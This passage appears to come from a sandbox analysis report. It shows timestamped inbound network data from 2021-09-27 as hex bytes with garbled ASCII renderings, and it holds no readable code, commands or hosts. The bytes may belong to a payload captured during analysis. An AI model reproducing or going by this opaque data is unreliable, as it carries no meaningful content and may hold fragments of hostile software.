d8 cd 4b fa 27 a3 e3 67 18 ff d8 cd 16 fa 37 ca 8b 94 47 f0 68 c0 fa 1f e4 ea 99 b5 8b 94 4c 7c 80 f9 f3 8e 3b d3 35 c5 71 55 73 5a f7 98 41 e2 84 03 3a 51 28 26 45 eb 12 f1 e5 6c a8 5a e8 f4 7e f4 Data Ascii: <09[TzZ09Gu_O:Qfhv#s-btf:Q!^?<V\|lFn{}[ a/09Z))A`<9e8#T=v)$_*S@_ K'g7GhL\|;5qUsZA:Q(&ElZ~
2021-09-27 18:33:23 UTC	765	IN	Data Raw: 1e 0d 11 6e a7 d7 39 ce c2 98 13 73 35 c5 6b 47 d0 ba e1 63 56 94 45 eb 12 f1 e8 f4 56 94 01 48 1e 0d 04 cf 52 8b e6 ef f0 07 25 9e 61 2f db 54 e0 e0 92 25 f8 1a 24 1c 68 c0 e7 71 34 42 00 c5 3f dd 2d b2 01 48 1a 04 83 80 9c 3d bf 11 0f 69 2f b6 32 3e 7a eb 1f 90 41 e2 80 f9 ee 02 ea f8 75 5f 5e a7 f7 98 57 17 18 ff c7 24 75 5f 4b fa 59 1b af ea 80 f9 f9 9c 59 1b e8 f4 59 1b a6 55 66 bb 74 dc be 8e 57 17 18 ff cc b0 0c e2 88 0d 2c 2f 96 2e 50 86 61 2f da d2 de db 22 17 13 73 13 73 4d ff df 5e d4 c3 73 5a d2 bf 74 dc b0 6d 2d b2 1f 90 69 42 44 69 26 21 fc 24 70 d3 20 12 87 8a 7f 77 2d b2 63 33 a5 d2 c5 1f f9 9c 4e 81 5c a3 a8 5a f9 9c 5c a3 a0 46 07 56 b4 76 85 85 ec fd ca ab 80 f9 ea f8 74 dc 9e 41 f0 07 33 c0 e1 63 5c a3 a3 cd 54 8f d4 c3 3c 56 93 a7 ae Data Ascii: n9s5kGcVEVHR%a/T%$hq4B?-H=i/2>zAu_^W$u_KYYYUftW,/.Pa/"ssM^sZtm-iBDi&!$p w-c3N\Z\FVvtA3c\T<V
2021-09-27 18:33:23 UTC	769	IN	Data Raw: a7 d7 4b fa 1f 90 24 f8 1a 04 cd 1b 86 0e 69 72 d8 cd 33 c0 93 a7 d3 a5 d2 bf 11 7e f4 16 74 fc 24 1c 09 5b 20 12 f5 77 64 b6 79 fc 24 1a 8f 11 6e ce b5 f9 9c 3d dc 33 c0 93 a4 68 c0 95 24 48 73 5a 9e 41 e2 e5 68 24 1c 09 58 5d 25 98 b7 6e ce b5 f9 9c 3d d8 c9 cd 33 c0 92 b1 ef 82 7c 0c e2 e5 6c c9 29 a8 5e 43 e6 ef 84 cf 37 cc 32 0e e7 71 55 12 f1 89 8b 70 d3 41 e0 f4 10 ea 78 fa 1f 90 20 12 f1 89 8b 70 d3 41 e1 af ea fe 54 df 5e a7 d7 4b fa 1f 94 cd 33 c0 90 74 dc d1 44 95 ac 63 33 c0 93 a7 d3 a5 d2 bf 12 25 9e 47 85 ad e6 ef 84 03 4c 7c f4 f4 10 ec ff a7 d7 4d 8c 0a dd 59 1b 86 08 d9 4b 1e 0d 65 38 f4 10 ea 8a 75 5f 2a 2a 2a 2a 2a 2e d0 ba 85 86 58 99 b3 9b ae 68 c0 93 a7 d7 4b fe cc b0 6d 4c 14 f5 95 c2 34 42 64 b6 7b 6d 4c 78 02 ca ab e0 d4 c3 1c 64 Data Ascii: K$ir3~t$[ wdy$n=3h$HsZAh$X]%n=3\|l)^C72qUpAx pAT^K3tDc3%GL\|MYKe8u_*****.XhKmL4Bd{mLxd
2021-09-27 18:33:23 UTC	773	IN	Data Raw: 3c 60 ac 56 68 f5 6b 72 2c 1a f4 25 72 ed 68 f5 77 51 e8 c1 ca 9e 99 80 2d 87 5a ab 2d 87 42 51 cc 85 45 de 67 08 61 1a b0 58 29 9d 13 46 c6 97 15 4d 63 06 4c 49 79 5d 59 2e 54 ba d5 73 12 c4 d9 7a ab d4 ff 9e 79 5d 11 5b 10 d9 63 06 fc 11 4e b4 6a f1 89 bb f5 a7 37 fe fd 92 e8 c0 2c 1b 31 8f 36 73 c6 96 b6 4f 1a 30 2a 1e 07 65 f1 ba 3b e0 4e b2 52 b9 d1 0e ef b5 44 58 84 32 3a 51 08 d9 9b ba 80 d9 4f 3c 1c 37 7a d5 0b 5d fc 19 48 4e 00 f8 18 c3 87 b6 26 1d b1 d4 57 2c 45 d0 fe 10 35 fd ec c5 2b 95 ba b2 84 34 ab d6 29 9f 6c fe a1 fe 47 c6 72 ee ac 55 84 35 aa 68 84 35 ca 9d b6 4e 7b 58 6b 72 7f 42 f2 39 82 cb 33 f5 8b a0 b8 b4 8f a9 36 73 85 b1 3b e7 2f 82 b6 4f 12 c2 56 a7 ad d5 03 7e 1e 3f b8 b2 57 26 33 f0 a8 6a b4 46 0f 59 31 bb 07 56 ec fd a3 dd 59 Data Ascii: <`Vhkr,%rhwQ-Z-BQEgaX)FMcLIy]Y.Tszy][cNj7,16sO0*e;NRDX2:QO<7z]HN&W,E5+4)lGrU5h5N{XkrB936s;/OV~?W&3jFY1VY
2021-09-27 18:33:23 UTC	778	IN	Data Raw: a6 a1 f2 db 6e 4a 4e 3e 63 86 31 1f a9 4f 3b 26 19 5e 9f ec cb 87 bc 85 b0 1e 38 15 4d cf 03 31 89 0d 57 6c f8 e7 40 a9 ed cb 2e 34 42 28 26 22 f7 98 33 c0 ac 08 e6 a1 f7 35 f8 f7 a5 0f 55 95 90 1d bc 3b e4 40 68 a9 e9 c9 1c 3c 62 0c e2 e5 6c ed 80 fa cf 37 ca ab df 1d b6 0c df 36 7a ba b8 c2 a5 fe 15 78 dd ec c7 e7 4b be b8 74 ea 35 f3 b4 43 34 77 03 79 5b 14 29 9c 6f 63 7a da 4c 4d 90 11 78 d6 33 f0 f7 a8 e4 da 54 bf 78 d6 9e 71 14 f5 93 a7 93 a7 d4 03 4c 7c f0 38 a6 6a 0f 56 54 b0 41 dd 48 4c 78 d8 2c 11 14 c8 12 cc 1a 3e 20 2b 44 50 a4 67 d8 fb 26 17 4e b5 6a f0 63 00 01 7b e6 dd 94 18 19 b0 a5 e3 c2 a9 53 3c d1 0c 86 38 1e 3d 91 a2 4b fa 5b 20 11 de db 6b b5 c6 42 5b f7 a7 61 12 ec c0 81 41 e8 cd c5 26 f1 b0 d9 76 47 c9 57 2e 7b 54 95 95 bc b2 e6 d7 Data Ascii: nJN>c1O;&^8M1Wl@.4B(&"35U;@h<bl76zxKt5C4wy[)oczLMx3TxqL\|8jVTAHLx,> +DPg&Njc{S<8=K[ kB[aA&vGW.{T
2021-09-27 18:33:23 UTC	782	IN	Data Raw: 96 19 12 c6 d0 8d f3 b9 4c 4b bc bd 12 c6 a7 e1 9e 77 bb 31 60 9a ef b2 b2 44 d5 70 67 0b f0 31 d7 7d 1a 32 5a a8 1c 3f 9f f2 32 08 c3 2c 23 af e2 d0 42 51 e0 d5 a2 7e 14 c0 4f 36 9f f1 5d 10 3c 63 ff 9e 89 ba 41 d7 8b a1 75 6a 7c c5 ab d4 73 6f fc 11 c6 97 15 4d 5f 1f 0c d7 d3 74 48 46 fe 1d 07 63 bb 32 ba b0 11 5b 4c 49 a9 e9 23 ac 23 ad 10 d8 15 4c cf 03 d4 f7 ee 36 1f a4 64 82 ed b4 7d 41 0d 56 73 69 8c 25 58 aa f1 ba 2e 07 f5 a0 c1 25 e1 50 dd 6a 93 94 7a d8 f8 29 99 86 25 ad f9 af f1 ba 89 bd f0 35 3d ea 0c d0 4a 45 07 64 5e 95 48 41 02 f8 c6 90 f8 28 f2 3e 8a 23 55 20 da e0 24 2e f4 22 ab d3 f9 ae dc e5 dc e5 c0 a1 61 1d 2f 84 a3 ff 33 f2 84 31 c3 28 73 68 87 b8 c3 28 1e 3f f1 bb 2f 84 27 91 82 cc be bc 8a 20 ee 33 38 7d 86 39 3e 6b ab d0 52 ba 61 Data Ascii: LKw1`Dpg1}2Z?2,#BQ~O6]<cAuj\|soM_tHFc2[LI##L6d}AVsi%X.%Pjz)%5=JEd^HA(>#U $."a/31(sh(?/' 38}9>kRa
2021-09-27 18:33:23 UTC	786	IN	Data Raw: 55 12 ce 5c 9c 40 61 d0 84 97 8f b1 d4 7d 4a d2 87 14 cd 14 cd 13 44 38 7b 27 95 c8 91 f6 23 d7 7d 33 f6 24 2a 01 7c 08 ed 6d 7f 84 30 52 b9 96 1c 56 a6 0f 5b 1d ba 66 8a cf 06 5b 11 ef b5 8d a8 71 64 ad d7 47 c0 6c f9 45 db 86 38 fa 2f 3b e3 1a 34 2d 82 9b 8a 40 6f 1b b6 40 6f 61 1f 90 20 12 f1 e1 63 32 8e 1b 86 08 e6 38 71 a0 7b b3 c9 fe 14 63 0f fb 9d 31 87 00 f9 1a 38 ce 89 f1 b5 83 bc fc 18 8d a5 bc b6 11 52 ed bc e8 c8 f9 a0 1c 35 93 9b e8 c8 e9 4a 3d e4 ac 5f 68 fc 1a 38 5a a5 1e 36 e0 db de e0 bc b1 ba be cd 09 be b4 a3 f7 11 54 f3 b4 1a 3e 17 44 a6 6c d5 7f 72 e0 1e 35 59 23 fb 96 dc e0 24 2b 0d 52 f7 ae 07 60 c7 12 96 18 9c 0b 3f eb 20 24 4b cc e3 51 47 c6 e9 40 18 c9 6a f2 33 f6 2e 02 fd 90 13 45 c4 ab ca 9d 98 05 72 ee 1d bd 17 4b ed b5 0f 5c Data Ascii: U\@a}JD8{'#}3$*\|m0RV[f[qdGlE8/;4-@o@oa c28q{c18R5J=_h8Z6T>Dlr5Y#$+R`? $KQG@j3.ErK\
2021-09-27 18:33:23 UTC	789	IN	Data Raw: bf 21 e3 57 72 e8 a2 7b 2f 86 3b e3 7b 5d 28 26 21 95 1c 09 5a 9e 41 e2 e5 53 fb 9e a6 6a 14 ca 6a fb 0b 5f b1 d0 3e 65 4d c0 c7 1b c3 24 a2 75 ce 8b ee 3c 3d e6 b2 4c 49 cb 30 07 59 26 f2 31 1a 39 44 54 f4 2d df 63 76 dc f9 a1 d6 f4 f3 b2 c3 26 bb 3b 58 a5 af d6 90 1c 5d 19 d1 00 89 b3 bc b6 3f e1 23 a5 ee 3e 62 8d a9 e0 f0 3c a2 70 23 a2 a7 ec 15 43 02 f1 69 79 b4 4d 27 98 e7 4a bb 3c fa 24 90 1b 0e dc 53 36 c7 1f ec c6 da e9 02 f1 f9 a7 bb 3c 32 05 15 43 ce 8e 3f e6 cf 0c fe 13 6b 7c e4 d1 2c 14 f9 a7 df 65 38 76 01 72 18 c5 a3 f7 20 28 92 1f 20 28 8a 2b 05 6b e3 5d 85 bf 89 b5 81 46 36 7d 26 1b d6 f2 40 65 70 e9 32 04 8f a7 eb 41 da e8 c4 a7 c7 1d 7f 4e 71 6c 25 a7 3f e4 0e de 3b ea 24 25 46 57 c3 23 55 2b 01 71 c5 26 ad df d6 f1 0d 5c 23 a0 3a 68 b8 Data Ascii: !Wr{/;{](&!ZASjj_>eM$u<=LI0Y&19DT-cv&;X]?#>b<p#CiyM'J<$S6<2C?k\|,e8vr ( (+k]F6}&@ep2ANql%?;$%FW#U+q&\#:h
2021-09-27 18:33:23 UTC	793	IN	Data Raw: 3f d3 72 de e9 88 3f 2b 9f 2a 18 19 b3 2a 18 29 9a f6 27 65 0a 63 01 fe 1a aa 6c 6f 62 2f 84 95 9e cf 05 d7 79 16 c8 d1 0e 89 bd 6a f6 4b c8 f1 bb 49 c7 62 83 be bc bc b8 ae 5a b8 b2 6c fb b7 cc be bc 8c 27 5d 14 03 7d ae 59 c3 2b 79 59 cb 1f 5c 92 ed b1 2b 9c fd 97 0d 54 3b e2 7d 43 72 e9 f3 bf 7c c1 7f 46 0b 51 1c 38 4d cf c3 2a c2 a8 be be 6e fe f4 20 ca 9b 6e fe f8 2a e6 df 9e 71 f5 a3 59 2b d1 0c 8a 21 c1 26 1d bb 2f 86 1e 3d d8 cd 33 c1 5a 9e 41 f2 0c e2 e5 6c c9 29 a8 5a 9e 41 e2 e5 6c c9 29 a8 5a 9e 41 e2 e5 6c c9 29 a8 5a 9e 41 e2 e5 6c c9 29 a8 5a 9e 41 e2 e5 6c c9 29 a8 5a 9e 41 e2 e5 6c c9 29 a8 5a 9e 41 e2 e5 6c c9 29 a8 5a 9e 41 e2 e5 6c c9 29 a8 5a 9e 41 e2 e5 6c c9 29 a8 5a 9e 41 e2 80 8d f8 7f 05 12 ae 1c 7a 82 b2 17 1a 65 55 5b 20 12 f1 Data Ascii: ?r?+*)'eclob/yjKIbZl']}Y+yY\+T;}Cr\|FQ8Mn n*qY+!&/=3ZAl)ZAl)ZAl)ZAl)ZAl)ZAl)ZAl)ZAl)ZAl)ZAzeU[
2021-09-27 18:33:23 UTC	797	IN	Data Raw: 07 23 f6 56 f9 f9 e8 bd 79 06 b1 a2 3f b8 c7 24 1c 09 1f d9 22 72 ac 2a 5f 44 0c af 9e 24 5b 20 12 f1 89 ce da b4 18 b6 16 9f b0 24 69 2c 4a 3a 25 fb e6 ef 84 03 4c 19 f5 f2 78 b5 8c 78 83 cd 47 95 eb 7b 6d 4c 7c b1 88 63 5a ec 89 dc a2 25 fb ec 89 ea bf 11 6e ce c6 cd 63 56 f3 ef f7 eb 1e 40 2b c8 e0 e0 e0 e0 97 de bf 7f 1e 5a ea 9d f8 1a 04 cf 43 88 68 b2 13 23 ed e5 2b ad e6 ef 84 42 14 9a 4a 27 d7 2e 73 5a 9e 41 8d ff c5 56 f8 76 8e 69 21 c6 d6 ad a1 c9 29 a8 5a ed ef d4 af 86 67 4f 60 ff df 3b 94 29 a8 5a 9e 24 7b 03 2d e0 8c 7a 84 71 36 14 81 19 c6 a2 4b fa 1f e5 02 af a7 b5 8c 45 9f a1 8e 1b 86 08 ab 8e 77 0b 23 ea 81 2f c2 fd e1 63 33 c0 93 cf 44 1c 7b 2f c4 f2 60 c3 59 68 b9 51 7c 95 eb 7b 6d 4c 09 35 a0 0b 0d 00 b1 9c 44 3a 25 fb e6 ef 84 03 4c Data Ascii: #Vy?$"r*_D$[ $i,J:%LxxG{mL\|cZ%ncV@+ZCh#+BJ'.sZAVvi!)ZgO`;)Z${-zq6KEw#/c3D{/`YhQ\|{mL5D:%L
2021-09-27 18:33:23 UTC	801	IN	Data Raw: 77 61 f1 db 54 8a cf 75 5f 2f 68 f0 07 56 94 29 a8 5f f4 06 d4 c6 7c f6 15 7d af 18 ff ab e1 63 33 c5 c2 48 73 5f f7 22 17 78 3b 79 68 c0 93 a7 d7 4e 76 7d 72 dd ae e0 e0 e5 9b d4 c3 1f 67 63 33 c5 e8 b2 72 dd ae 46 6e cb d9 53 0d 60 5b 28 26 24 ea 0c e2 e0 16 24 1c 0c 14 3f dd 5c 55 a6 55 17 8b 0a dd 5c 55 9a 38 49 03 20 12 f4 e6 b5 f9 99 43 ae 68 c5 e9 46 6e cb d8 d5 46 6b b1 eb 7b 6d 4c 7c f0 02 3f 35 c5 1a f1 51 08 dc 22 dd 59 1e f8 ac 63 36 b2 d6 c8 a2 be 00 c5 1a f1 f1 89 8a e4 88 0d 65 38 4c 7c f5 66 87 8a 11 6e ce b5 fc d1 12 f1 89 8f 9d bf 14 00 d7 4b ff 5e a3 cd 36 b3 02 ca ae 9c db 54 8a e5 be 8e 1e f9 5c a3 cd 33 c0 93 a2 bf b5 f9 99 41 70 d3 44 9d c1 16 ff 5f 44 69 47 04 af ea fd 52 c5 1f 95 58 a1 c9 2c db 7c f0 02 3e 4a 77 61 db 56 94 2c dc Data Ascii: waTu_/hV)_\|}c3Hs_"x;yhNv}rgc3rFnS`[(&$$?\UU\U8I ChFnFk{mL\|?5Q"Yc6e8L\|fnK^6T\3ApD_DiGRX,\|>JwaV,
2021-09-27 18:33:23 UTC	805	IN	Data Raw: 2c d0 54 8f de f7 98 cc 4f fc cb 2e 77 4f ef 7b 92 da 22 17 3e 71 8d 66 44 96 df 5e e4 c1 d2 40 a0 b9 f0 07 15 53 bd f3 71 aa ad e6 ac 48 d3 be 71 aa aa 5e e4 c1 9a c7 db ab 14 f5 d0 91 da 2d 4d 00 33 c0 d0 91 c6 5d da 2d 45 eb 38 67 6d b3 0b 9f 3c 56 d7 60 90 df a1 36 be 8e 58 b2 5a 61 d0 45 11 6e 8d b2 6a 3b 2c d0 46 6e 8d b2 7a 14 0a 22 ea f8 59 31 43 19 7e 0b 9e 41 a1 e3 83 80 f9 9c 3d 48 70 dc d9 44 64 b1 ec fd e5 44 51 08 d9 4f 03 4c 7c f0 07 56 94 29 aa 5e a3 cd 33 c0 9b ba 81 7c f8 1a 04 cf 77 e9 76 e1 63 33 c0 53 86 08 d8 cd 31 bb 07 56 94 29 aa 5e a7 d7 4f c3 91 a2 4a 77 66 bb 07 56 94 28 26 21 95 ac 63 33 c0 f3 8e 1b 86 08 d9 4f 03 44 69 42 64 b6 7b 6d 4c 7e f4 10 ec fd a6 55 12 f1 89 8f 9d bf 12 f1 89 9f c4 9d bf 11 6e ce b5 f9 94 29 a8 5a 9e Data Ascii: ,TO.wO{">qfD^@SqHq^-M3]-E8gm<V`6XZaEnj;,Fnz"Y1C~A=HpDdDQOL\|V)^3\|wvc3S1V)^OJwfV(&!c3ODiBd{mL~Un)Z
2021-09-27 18:33:23 UTC	821	IN	Data Raw: e7 b2 29 f6 4a 2a f7 ed cf 71 51 e3 98 cf 28 db bc c6 e1 e8 22 9c 39 8b 1d 4b c9 38 39 26 1a fb 5d 04 eb 93 eb 38 c7 f2 87 7c c3 5d 03 30 c6 27 ec f5 eb f0 29 dc 17 f8 56 d7 c0 4b 71 bf 9a 6d 1b d0 e9 76 a1 44 aa 05 0f 36 1a 64 e5 93 c3 59 90 f3 05 59 6f 50 e4 91 21 f3 67 48 3c 13 8c ed 8e 6c 21 6a 3b 6d 2a d5 ba a4 3c be c2 db df 8b 1f 7d 41 a5 c8 db ab 64 f9 94 51 83 a2 3f 1d 0e ab a2 c0 ab 9e 41 be f5 10 ed d8 8e dd 81 f7 cd 64 e0 b3 37 91 5d d9 42 7e 1c c9 1a d6 fb 6a 4f d9 c4 ce 76 bf ee f9 92 9b 52 74 33 7e 92 e3 ec bd 5a 16 f4 64 f6 43 dc 27 28 70 10 b1 b6 20 4c 8c fd 59 e0 f4 4b 13 b0 92 de c0 0e 0f 95 e9 fb a1 8c 24 43 8e 0b e9 12 a8 03 16 3a 62 4e 7a fe 7e 1c f6 ee 90 bb ef 84 42 54 97 10 ed 32 c2 d5 cd cc 4b c3 4c 94 29 ed 09 cf 96 d2 ea 75 7e Data Ascii: )JqQ("9K89&]8\|]0')VKqmvD6dYYoP!gH<l!j;m<}AdQ?Ad7]B~jOvRt3~ZdC'(p LYK$C:bNz~BT2KL)u~
2021-09-27 18:33:23 UTC	837	IN	Data Raw: 84 46 ab 6d ef 44 5a 61 d4 46 4a 9f 94 29 ed 45 67 9c 36 33 c0 93 e2 20 9e 7c 73 ca 68 9a 38 09 9e d1 9f 3b 28 5a e6 07 56 fe 28 26 22 ff c3 1a 40 ae 98 5b 20 78 e6 85 d1 27 d6 c8 a7 92 e0 70 ee 81 7c b5 3c de 78 19 7a 97 cd db 54 e5 6c a3 cd 59 1b ec ef f1 89 8f d8 08 51 35 46 6e 8b 51 84 a0 b9 f9 19 be 66 b8 ea a8 5a da 20 5e 1f 90 4a 27 5c 58 e4 c5 f7 82 8b 94 29 ed 45 67 00 46 0c 97 b1 ef 84 03 e1 db d4 c3 5f ef f0 a6 04 cf 77 e9 76 ed 42 39 95 f2 53 ca 20 12 f1 9e 81 94 29 ed 45 9f 65 ee 89 83 f4 10 ec b8 45 9f f9 1f 85 f9 47 75 a7 5c 5c 58 19 7a 03 1c 09 1e c8 2b 0c b1 bf 1d ce 3e 0c ea a5 59 0b 15 f3 d9 19 d2 53 86 5d 25 9a fa 42 3d 81 27 60 d8 cd 33 c1 14 c8 58 62 cf c1 fe 78 e6 aa 9b 32 9f a0 2c 2f b6 53 c2 70 d0 31 bc ff 6b c2 67 c3 48 95 44 91 Data Ascii: FmDZaFJ)Eg63 \|sh8;(ZV(&"@[ x'p\|<xzTlYQ5FnQfZ ^J'\X)EgF_wvB9S )EeEGu\\Xz+>YS]%B='`3Xbx2,/Sp1kgHD
2021-09-27 18:33:23 UTC	853	IN	Data Raw: 39 26 e2 6e 31 44 96 7e 61 a2 b4 81 83 7f 88 f2 f3 d6 6d cd 96 dd 59 1b 86 2b 14 0a 22 e8 a4 ed 0d 97 3a 7c 1b 96 2e 34 41 ba 0e 67 3d d8 cc 04 4c f5 6c 32 fa 40 b7 ae 68 c0 91 3e da 59 5f 6a 4f 03 09 9e 35 64 b6 7b 6f 70 bb 07 3c 06 08 9c b0 91 e7 f8 3a 13 f8 e2 a0 cf 33 82 75 ab a4 d9 57 55 99 45 ae e1 77 26 aa b2 37 43 f6 57 9c d5 03 c5 13 31 30 dd 1c 80 f9 d9 f8 ea 59 fb e4 63 31 30 e5 29 21 d9 0d e8 0b 9b 2f b7 16 05 ad f4 56 7c f0 46 5e bf b0 6c 7b 92 da 2d fe a5 59 e4 11 d7 4f eb 7b 28 ad 7a 4a 88 f2 f3 c2 0d e8 d3 34 42 64 b6 79 f4 a8 d9 46 1a c4 18 bb 47 7b 6d 09 9e 35 64 b6 7b 6d ed 05 5e b7 e2 a6 a3 cd 33 c0 38 c9 26 20 12 f1 8b e3 dc 57 37 43 82 ce 4a 13 73 1e be c7 4c 29 68 f3 56 1f 6f af 15 34 cf be 47 c3 4d a9 8f 62 4e 7e b8 44 e8 18 74 89 Data Ascii: 9&n1D~amY+":\|.4Ag=Ll2@h>Y_jO5d{op<:3uWUEw&7CW10Yc10)!/V\|F^l{-YO{(zJ4BdyFG{m5d{m^38& W7CJsL)hVo4GMbN~Dt
2021-09-27 18:33:23 UTC	869	IN	Data Raw: 0f 76 95 a2 39 cf df dd 3f d9 0f de d4 3b 96 a5 3e 07 df a1 35 a3 a5 3a 01 8e 30 19 c1 9d 43 a3 46 60 d2 e7 2b a9 37 de ad be d4 e7 75 64 bf 64 b2 56 c0 a8 c3 3a 11 e5 90 65 b3 a4 02 18 cc 76 6a 28 53 26 d2 34 9a b3 0b 9b 47 8d 71 55 12 f1 30 b7 f1 76 64 5a db dd 99 86 f8 5f a3 0d 56 60 e9 ff 6b 74 23 aa 52 60 57 9c c9 6c 40 a4 a7 4e 75 1a 8f 6d 19 08 22 e0 79 9c 78 6d 70 8b 1f 6c 8c 9d 4b bf 98 39 8e ac 6c 35 80 72 ea 13 8a 9a c8 f2 85 7c 07 cf f4 9b 4e c4 14 0c 15 e1 23 d3 ca 57 42 ef 47 7b 65 60 1b 89 73 1f 1b c1 fd 85 f7 9a d0 39 a8 52 f9 9e a9 5f 4c 78 a6 e2 ea 00 80 72 d8 cd 32 90 a3 c2 9c d5 c5 79 6c 89 38 43 1e 48 f8 1a 04 ce 0a 59 14 f5 8c 6e 4e 7d 37 41 1e 48 fa e7 24 95 fb f7 cb c2 5c 20 fe a3 98 a3 0e ba 60 27 f8 44 af 61 d3 34 c9 2a 5e 67 b8 Data Ascii: v9?;>5:0CF`+7uddV:evj(S&4GqU0vdZ_V`kt#R`Wl@Num"yxmplK9l5r\|N#WBG{e`s9R_Lxr2yl8CHYnN}7AH$\ `'Da4*^g
2021-09-27 18:33:23 UTC	885	IN	Data Raw: d3 02 41 e2 e5 6c 3a b8 c8 e7 fa 1b c5 94 29 a8 5a 60 45 fb e2 e6 e7 32 3d 90 60 27 a7 94 a2 5a ea f8 2a 52 08 dd 1a 8f 87 fe e8 70 2c d0 ed 39 26 25 dd d2 bf 11 6f 74 35 81 3c dd 5d 66 30 39 ce b4 59 f2 00 86 23 dd 19 0a d9 0c 69 4c 08 d9 7f 0f ea fc 67 b6 6c bd cc 34 bd f3 d9 a8 b2 76 a2 c0 93 a7 d6 9a d1 7c b0 e6 eb 38 c7 24 1c 08 84 ea f0 44 42 24 5c 28 22 54 04 c1 62 b1 df 26 a2 4f 40 d4 d4 b7 3e de 24 e3 3f c8 4f 07 15 f3 8e 5f 19 61 2f f2 3f 72 d8 89 bc 0b 60 e8 c7 69 42 20 21 89 8f d9 7d 99 b5 bd 3e e7 71 11 5c 2c 2f f2 3e 35 50 a2 b4 76 e1 62 16 7d 7d 75 a5 51 08 d9 4e 31 3f d2 bf 15 03 cf f7 ab 39 45 b8 40 d4 c3 16 38 11 37 91 fc 7b b2 99 4a 8b 80 8d 70 10 53 f2 58 fa 9e 27 a3 cd 33 c1 72 5b e6 eb 23 12 0d 20 99 a6 21 95 a4 2d 32 3e 1e 3f 9b d2 Data Ascii: Al:)Z`E2=`'Z*Rp,9&%ot5<]f09Y#iLgl4v\|8$DB$\("Tb&O@>$?O_a/?r`iB !}>q\,/>5Pvb}}uQN1?9E@87{JpSX'3r[# !-2>?
2021-09-27 18:33:23 UTC	901	IN	Data Raw: f8 e6 aa d5 b9 fe ac 9a d0 ea 07 a9 3a de 33 3c 13 f8 1e 67 c2 67 88 a4 b8 7c b5 72 e8 a4 db 54 04 cf 72 53 1d 2a 2a 6f d4 b7 eb 84 53 f2 f3 68 72 30 c5 5a 15 1c 63 63 33 c4 9d bf 1c 09 1e 88 71 d0 be 05 92 93 a8 5b 93 a5 39 15 4b fe 56 78 a3 f6 f1 cc 3b d3 41 d4 9d 57 17 38 88 e5 cd d3 14 78 fd 4d fd 15 7c 84 03 b4 0b e3 98 cf b2 1b 6e ce b5 e9 6e a6 55 78 b6 83 c5 92 25 f4 48 07 56 6c b4 f5 6c 35 40 de 33 c0 93 b7 e8 9c 3d b2 22 ef c1 9b ba ef f4 64 b6 7b 28 a2 3f e0 63 4a 03 8c 92 e5 5f 28 cd f3 12 fe 4c 84 80 f9 17 79 80 7a ee 76 21 10 2f 3d cb 58 99 b5 f9 66 86 08 d9 4d a3 4f 28 da 87 01 b7 02 b7 03 a4 af 16 7f d5 ae 38 b3 0b 87 d2 57 eb 3e d1 c3 70 83 68 85 0e b7 12 b4 fd f6 5d 65 b3 08 9c b6 2b e1 23 12 0d 20 99 a5 b8 74 99 3c 56 94 db 89 67 3b 58 Data Ascii: :3<gg\|rTrS**oShr0Zcc3q[9KVx;AW8xM\|nnUx%HVll5@3="d{(?cJ_(Lyzv!/=XfMO(8W>ph]e+# t<Vg;X
2021-09-27 18:33:23 UTC	917	IN	Data Raw: 91 61 74 82 a1 94 d6 37 08 02 22 d1 b7 2d 39 c7 cf c8 58 31 ed 68 06 5f fa 94 2d f9 17 2f be dd d2 a4 25 92 dd da d1 b7 f2 4f 8a ee fe e8 8c fe 78 e6 ef 85 2d 34 c9 79 68 c0 92 91 24 97 e6 bf 15 3b 58 c9 21 d6 43 f9 77 68 b3 7d 77 11 6e 8b 51 00 f8 21 b9 e9 7a a8 d3 be 70 9a 8e f3 8e 1b 87 2e b2 f9 63 cf f7 b1 07 06 d0 f9 17 2d 4d 01 74 d3 a9 23 67 74 48 9b ba 85 84 a7 51 83 7f 8b 54 f4 f8 4a 73 19 0a 8d 66 45 d7 62 59 03 0c 69 2a 6c 42 0f 82 f2 4f 8a ee fe ec 38 a4 05 06 d4 c3 a6 55 d5 c7 74 d8 8e 90 75 57 7c 7b 34 a9 c0 e1 64 5e 24 e3 98 77 63 36 4b 88 0a 35 46 91 5d db 9a 3d 1f 1b bd 87 8a 11 6e 0f ec f2 e1 e6 e3 0c 6b af 61 d0 45 54 72 30 09 1d 00 12 7a ef cf bc da da 91 29 b6 0f 69 72 a6 d6 ec 88 76 1e 8e 20 99 b5 f9 9c de 5f 25 9e 41 e2 e4 5e 19 02 Data Ascii: at7"-9X1h_-/%Ox-4yh$;X!Cwh}wnQ!zp.c-Mt#gtHQTJsfEbYi*lBO8UtuW\|{4d^$wc6K5F]=nkaETr0z)irv _%A^
2021-09-27 18:33:23 UTC	933	IN	Data Raw: 64 ed 80 f9 8b 53 e5 af 61 d0 45 0a 63 db 97 3a 1d c8 2e 30 7b 46 62 f3 05 19 c2 11 6c e2 ed c2 13 37 89 06 d0 f8 91 e2 a6 dc d5 cd eb f0 54 4f 88 ce ee 02 ca ab 45 68 49 bd 4f 88 04 bc 88 21 68 c4 c6 e2 53 02 ca ab e1 f7 1b 0d 75 2b ac 63 33 c0 03 f7 18 dd b2 72 d8 cd 9b 39 47 bc c9 a2 40 2c 2d 9e 09 00 85 33 cf 37 ca ab 75 dc 5c ac 17 7f 77 64 b6 eb c0 13 36 33 c0 93 a7 d7 df e5 ef 47 ab e1 63 33 5c 20 9b f2 4f 88 0d 65 38 ec 7e 7d 3e 19 0a c9 5d e5 e8 a0 14 0a cd b8 43 6d 94 a2 18 ff eb f6 15 7c 32 63 d6 43 bd f0 42 ef bc d9 b0 51 4b 71 8d 12 01 1d 06 df 2a ea 7d 8e 4e 08 0b 53 f5 c6 2b a5 87 01 bc c7 ad 16 af 63 60 5c 67 be 62 3a 04 5f e9 2d ec a2 5b e4 69 44 e0 e4 ce f1 02 cc cd 37 ee 46 55 14 7e fa 61 2f b2 56 e8 77 71 be 88 84 0f 4d bb 8c 1e 73 56 Data Ascii: dSaEc:.0{Fbl7TOEhIO!hSu+c3r9G@,-37u\wd63Gc3\ Oe8~}>]Cm\|2cCBQKq*}NS+c`\gb:_-[iD7FU~a/VwqMsV
